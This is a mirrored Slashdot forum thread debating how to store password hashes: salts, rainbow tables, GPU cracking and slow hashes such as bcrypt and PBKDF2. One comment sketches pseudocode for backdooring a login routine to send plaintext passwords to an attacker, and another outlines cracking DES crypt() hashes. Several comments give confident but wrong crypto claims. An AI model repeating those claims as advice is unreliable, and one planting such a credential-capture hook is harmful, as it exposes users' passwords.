Slashdot Mirror
Are You Sure SHA-1+Salt Is Enough For Passwords?
Melchett writes "It's all too common that Web (and other) applications use MD5, SHA1, or SHA-256 to hash user passwords, and more enlightened developers even salt the password. And over the years I've seen heated discussions on just how salt values should be generated and on how long they should be.
Unfortunately in most cases people overlook the fact that MD and SHA hash families are designed for computational speed, and the quality of your salt values doesn't really matter when an attacker has gained full control, as happened with rootkit.com. When an attacker has root access, they will get your passwords, salt, and the code that you use to verify the passwords."
Why is this even a question? Use bcrypt, always. (Preferably using the $5$ or $6$ extensions.)
Easy solution: do not rely on passwords. As TFA says, people are very bad at generating random passwords, so why are we relying on them to do so? Use cryptographic authentication methods, and a lot of problems will be solved.
Then again, it has been so hard to get people to start using IPv6, I expect that the effort it would take for people to change the time honored method of authentication is simply too large.
Palm trees and 8
Like TFA says, worry more about the passwords people choose. It doesn't matter if you use SHA-1, MD5, or an HMAC, if the idiot types "password" for his password, it's going to be discovered on the first loop of anyone's "common passwords" list.
One way to get people to comply better is simply to refer to it as a "passphrase" instead of a "password". Maybe enforce "three word minimum" or something. Even if they just use a line from a movie, it's increased the search space dramatically over a single word.
John
I found this book useful. It does not go too deep, but just deep enough: http://innocentcode.thathost.com/
Nae king! Nae laird! Nae yurrupiean pressedent! We willna be fooled again!
When an attacker has root access, they will get your passwords, salt, and the code that you use to verify the passwords."
Not if you encrypt the salt using the password.
Password Hash = SHA256( AES_ENCRYPT( SALT using PASSWORD ) )
Salt Hash = SHA256( SALT )
Authentication: user enters password
Does SHA256 ( AES_DECRYPT ( Password Hash using PASSWORD ) ) equal Salt Hash ?
Yes: Password Entered Correctly
No: Access Denied
No, the moral of the story is to not do any of those things, since your box is going to get hacked anyway.
"I'd just like to emphasise that taking a million years isn't a metaphor here..." -Rich Bradshaw
First post!
Your failure to properly encrypt your post has left it vulnerable to many eyes. Maybe you should have RTFA?
I don't get it - surely it shouldn't matter if someone gains access to the password verification routine, the salt and the encrypted passwords... unless the password hashing/encryption is easily reversible?
They've still got to try and brute force match the encrypted data with a dictionary attack - sure, having the salt makes it easier - but if you've got the salt and the encrypted passwords it doesn't matter what encryption algorithm is used, you've still got to use a brute force dictionary attack. Most encryption algorithms aren't easily reversible - and that's the whole point.
Moreover, you generally have a pretty good intrusion detection system for a password kept on your person. If it has been compromised, you'll know it and can change the password.
The point of the story was rainbow tables are unnecessary, it doesn't matter how long your salt is they can iterate through most of the hashes in a matter of days. If you use a different salt for every account then they would have to repeat the process for each account, which definitely limits the damage, but doesn't make you feel any better if you're the account they are going after. TFA says we need to slow down their ability to iterate through all the possible hashes.
In fact the first post is almost as much interesting as the whole story. Melchett does not understand very well the purpose of salts and want to share with us its ignorance.
Salts are a necessity: without salt, you would be able to identify very fast two users having the same password. Without salts, you would be able to find a password faster when you have more users. As a result, the size of the salt shall be related to the number of encrypted passwords you are trying to protect from cracking.
If you are trying to crack a single account, salt does not change anything. The purpose of salt is not to increase the security of a single account, but to avoid the reduction of security that would occur when you have many accounts.
So you're saying SHA+a salt value sucks *IF THE ATTACKER ALREADY HAS ROOT ACCESS*?
Ore are you saying SHA+a salt value sucks *IF PEOPLE ARE USING WEAK DICTIONARY PASSWORDS*?
Can I get a "well fucking DUH!" here?
Seriously, exactly how tall are you claiming this molehill to be?
In BOTH cases the problem IS NOT the weakness of SHA+salt.
In the latter, the problem is some jackass used a crappy password. And even that's defensible if you have things like login restrictions and account locking in place.
In the former, well, not sure how to put this politely, THEY HAVE ROOTED YOUR BOX! At that point, you've got MUCH bigger problems on your hands than their ability to decrypt your password database.
Sorry, but this sounds like someone with SEVERE tunnel-vision here. They're so monofocused on "A" problem, that they fail to see the larger ramifications of the scenarios they construct.
Chas - The one, the only.
THANK GOD!!!
This isn't about passwords, it's about using hash values to protect passwords even from people with the root password. Basically, not even root should be able to figure out any users password.
Normally this is done by never storing the users password, only a hash of the users password, it's MD5 value say. Now the user enters their password, this is hashed, and that value compared to the stored hash. We could talk about collisions etc, but lets assume this works for now. User can get in with the right password, but not even root knows what this is just by looking at the hash database.
Unless of course rootâ"or the attacker that has gained rootâ"has a precomputed table of hash values. Then they need only look up the hash and obtain the password directly. To prevent this, systems use "salts", random integers/strings, appended/XORed to the password before the hash is computed. In theory then, an attacker would need to generate a different hashtable for each individual system compromised. Infeasible, or so we think.
He's where TFA comes in. MD5 and SHA1 are optimised to some extend for speed. Now, suppose the attacker has gained root and now knows the salt. How long will it take to generate a hashtable which can be looked up to find user passwords. TFA argues that this will now take only 33 days on a single machine using GPU computation. That's ~24 hours with less than 50 GPUs. Salt or not, these hashes are crackable in hours, not years.
So basically, the speed of MD5 and SHA1 hashes is actively working against computer security by making computing hashtables easier. TFA argues that a more computationally difficult hash scheme is needed, subject to certain criteria, and offers the PBKDF2, Bcrypt, and HMAC algorithms as potential alternatives. You could also throw, say, the three body problem with initial conditions at the computer instead.
Basically, hashing will protect against people with root access, but only if the hashing algorithm is computational difficult.
May the Maths Be with you!
You would get basically the same result, with less chance of compromising the hash function, by prepending or appending some unique-per-server string to the input.
The operations in each round of these hash functions are usually very carefully chosen to resist attack, and fiddling with that mathematical structure is much more likely to make a worse hash function than it is to make an equivalent or stronger one.
Be sure to mention it to Melchett and CmdrTaco. They sure have completely missed the point of salting password hashes. When you have root, you can obviously verify that a given password matches the information stored on the compromised system. As root you have access to all information that the computer can use and since the computer must be able to tell if the given password is correct, root can too. The point of salt isn't to make that impossible. That would be stupid.
The point of salt is to make it impossible to use a precomputed table of password hashes and find a valid matching password just by comparing the precomputed hashes to the ones on the system. If you don't use salt, then one rainbow table suffices and the reversed passwords can be used on any other system that uses the same hash algorithm without salt and where the user has the same password (happens much too often.) With salt, you can not reverse the password except by brute-forcing each and every password hash individually. No time-memory trade-off with rainbow tables.
SHA1 is still considered a cryptographically secure hash function, which means so far no faster way to reverse it is known than trying all possible inputs in the forward direction until the result matches the given hash value. Salt makes the hash function an individual function per system (or even per password), which means you have to repeat this process for every system/password without being able to use precomputed tables and even if you can reverse a password hash by brute force, it is unlikely that you can use the resulting password somewhere else, because many passwords match the same hash, but only the right one will match for any salt.
It does not go too deep, but just deep enough:
That's what she said...
If you could reason with religious people, there would be no religious people
The box is rooted, nothing you do matters. Just change the code...
CHANGE:
string pass = request("userspass")
if UNBREAKABLYGOODHASH(pass, salthash) = RetrieveSaltedDBpasshash(username) {
UserAuthenticated
}
TO:
string pass = request("userspass")
SendTheHackerThePassword(pass)
if UNBREAKABLYGOODHASH(pass, salthash) = RetrieveSaltedDBpasshash(username) {
UserAuthenticated
}
And you're done... Just wait for the passwords to come rolling in.
Any rooted machine that handles the user's actual password can be coerced into giving it up. So limit what machines see that password. Have your web client hash the password before if goes to the host (even when it's a secure connection). That would help, though the client machines should be easiest to hack, but at least it takes longer to get the right password.
There are basically four levels of security with passwords. The first one is an unencrypted password. It's obvious why this is a bad idea. The second is a hashed password. This is, however, subject to a trivial dictionary attack. The third is salted and hashed, and the last is salted, iterated, and hashed. The benefit of iteration is that it slows down the attacker a huge amount. So while salted and hashed is much better than just hashed, it's not really ideal.
OpenPGP provides the last three types and strongly encourages using iteration. WPA2 uses PBKDF2, which is iterated and salted. It's clear that if you want real, cryptographic security, you should be using an iterated and salted method. But using just salt is a much, much better idea than without salt at all.
The solution to this is simple: just iterate the hash function many times so that the time to hash the password is (say) 300ms - unnoticeable to an interactive user, but significant for a brute force attacker. This is called password stretching, and is as important as salt.
See http://www.openwall.com/articles/PHP-Users-Passwords for a review of this and other password hashing issues - not just for PHP, this article gives the thinking behind phpass which is now used in Drupal, and has been reimplemented in other languages. phpass includes bcrypt() as an option but can work even with really old PHP versions that only have MD5. Just because MD5 and SHA1 have been cracked to some degree doesn't invalidate them for password hashing with salt and stretching.
Key derivation functions perform essentially the same operation as password stretching, see http://en.wikipedia.org/wiki/Key_derivation_function - there is an IETF RFC for this.
Digression: Windows 7 still doesn't use salted passwords, which is why it's so easy to crack Win7 passwords given the hashed password, using Rainbow Tables - see http://en.wikipedia.org/wiki/Ophcrack - try the vendor's scarily good online password hash cracker for yourself...)
Most importantly: don't even think of implementing your own crypto code unless the above is very old news to you, because you WILL get it wrong - the examples of unsalted and unstretched passwords are only the beginning. Instead, search for a credible crypto library in your chosen language, and if necessary write a C wrapper so that your preferred scripting language can access a good C/C++ library such as Crypto++ - http://www.cryptopp.com/
Well, seeing as how the article is about web authentication, hacking the passwd binary probably isn't that useful, depending on how the devs implemented their stuff. Probably they just take the text, pass it through a hashing function that likely punts to something like crypt() in the libc on the system, possibly picks a a salt, then stores the hashed password in a database table.
crypt() putting out des, for example, usually only uses a 2-character salt, so if you have the hashed password you can knock the first 2 chars off, pass those back into crypt() as the salt value, the brute force the rest of the key space. Compare the result of the current iteration to the hash you're trying to crack, etc. or use rainbow tables, or other methods for doing this.
Getting access to the database through a flaw in a web app is going to be a lot easier than getting a shell on the system then getting a local privilege escalation to root and replacing system binaries.
As is well known to competent users of cryptography, you create the computational effort by iterating the hash. Even the very old UNIX crypt() function already did this. Those that use a single has iteration are simply incompetent and did not research how to do it right at all. Typical iteration counts needed today are in the 100'000 - 1'000'000 range.
Most ACs are not even worth the keystrokes to insult them. Be generically insulted by this and ignored otherwise.
Basically, not even root should be able to figure out any users password.
What's to stop root from forcing a password reset and then snarfing the new password before it gets hashed?
Nothing. But the user could at least be aware that something is amiss as the password reset probably wouldn't be affected and this would only work for as long as the attacker maintains access (rather than syphoning off the user/pass data for later analysis elsewhere).
The answer here is to train users to have different passwords for each important account (I do, keeping record of them in a local keepass DB, itself protected by a strong password and keyfile on a USB stick, though that is too much hassle for many people).
What utter, utter nonsense.
You don't iterate a hash function. That's just cryptographic hand waving. Pick a hash function that has not been broken with respect to password storage, then use a longer password, or key.
HMAC is for message authentication codes. You do, in fact just use string concatenation for adding salt.
NO HMAC, NO XORing, NO interleaving, JUST concatenation. Anything else is yet more cryptographic hand waving.
First, all security is a trade-off.
Second, you need hash iterations and salt, but you only need to use the salt once at the beginning. After one hash iteration, you cannot use tables anymore, as they would be too large (for example 2^160 entries for sha1). Tables only work for low-entropy passwords, and because there are a lot less of those than there are hash values.
Most ACs are not even worth the keystrokes to insult them. Be generically insulted by this and ignored otherwise.
Well as we seek SLOW routines for password hashing, if you need 1000 GoL generations to get something really usable, well so that's it. Slow as hell. Exactly what is needed to secure a password.
You can't use GoL to hash a complete file, there you need a fast hash function.
Atari rules... ermm... ruled.
Well, technically, you could have a rainbow table including different random salts. It'd be so enormous that most systems wouldn't actually be able to use it. Talk about space/time trade offs, though. If you had a big enough system with enough time to pre-compute the tables beforehand and enough storage to make them usable, then you'd really save loads of time in cracking passwords. The average high schooler isn't going to have such a system at his disposal, though. Neither would the average nation-state intelligence agency.
Every bit in the salt doubles the size of a rainbow table. Assuming an unrealistically tiny 1 GB for a normal rainbow table, a rainbow table for the same passwords + a 32 bit salt is 4 Exabytes. With a 64-bit salt you're talking "so unbelievable large that we might never be able to store that amount of data".
Not to mention that even a small salt makes it faster to just try each password individually than precompute all possible passwords.
Does anybody know why it's a bad idea to salt passwords with usernames (or hashes of usernames)? Say, something like...
$username = "linus"
$password = "tux4me"
client asks server for salt to use with $username
server returns md5("common2allUsers" . $username). Client doesn't do this directly to make it less publicly obvious that the first salt is "common2allUsers". Salt is algorithmically-determined by username to avoid revealing whether or not a given username is valid to attackers. Server uses md5 for speed, since this particular hash is partly just obfuscation and security theater.
client calculates $passhash = sha-1($commonSalt . $password)
client sends $username and $passhash to server.
Server looks up $usersalt associated with $username in database. If $username doesn't exist, server pretends salt is 'badU53r' and proceeds with lookup anyway to reduce vulnerability to timing analysis attacks.
$storedSaltedHash = sha256($usersalt . $passhash)
Server looks up userid associated with $username and $storedSaltedHash
Rationale for hashing before sending to server: to obfuscate the password in case it ends up being revealed in a log somewhere.
Rationale for hashing the hash again: to use a unique hash for every user, without revealing the hash or enabling attackers to harvest usernames.
Drawbacks: 1) increased server workload. 2) ???
It's not the crackers I fear but the idiots building web applications with crap security. I am not shitting you when I say that my computer parts supplier -whom I highly esteem- periodically sends me a clear text message containing my user name AND password. Just to keep me abreast. I've already emailed them that it is absolutely unacceptable that my password is saved as clear text but a sensible reply never came about.
I stopped imagining how the shop functions and who has access to my password and resolved to never use that password anywhere else, to refrain from storing any payment information on the site and to wire instead every purchase I make. Worst case here is that some joker logs in and orders a shit load of items and I have to explain to the supplier that they are idiots.
Generally speaking, when a node is compromised then password security is lost as there mostly will be a process reading your password in clear text. Using mechanisms with private and public keys will not expose your private key but the session on the server side is pretty much useless.
Then again, there isn't yet a generic system available whereby you own a private key in hardware which you yourself do not even know, which works on every conceivable operating system. If think you have already the answer then consider that storing your private key on a host you think will never be compromised is pretty endearing or actually incredibly pathetic.
There should be laws against storing clear text passwords and against organisations not being able to recognise if their systems are compromised. My take is this will take a few decades though.
I hadn't the slightest objection to his spending his time planning massacres for the bourgeoisie... (P.G. Wodehouse)
A correctly-implemented salted-password scheme uses a different salt per user - it doesn't even matter if it's trivial to predict. The point is that it multiplies the computational load to compromise n users by n. You can't generate a single look-up table any more.
Further, the salt is combined with the key, not the user's password. If it was just combined with the password before the encryption, when you used your look-up table to find out the (password+salt) used to generate a particular hash, you would then de-combine the known salt and have the password! Simple.
Finally, because the salt is combined with the encryption key, using one salt for your whole system would be no different to just using a different key.
With the correct scheme, adding a per-user salt means (even if the salt is trivial to discover) you are using a DIFFERENT key to compute the hash for each user. Now you may still be able to generate a large look-up table of hashes to compromise an individual hash, but it will only work for ONE user account (barring salt collisions), and so a 24-hour run (your number) will be required PER USER ACCOUNT. This means that a few dozen, or even a few hundred, accounts may be compromised, but this will be a much smaller fraction than if you weren't using salts (or were using them incorrectly, as is so common).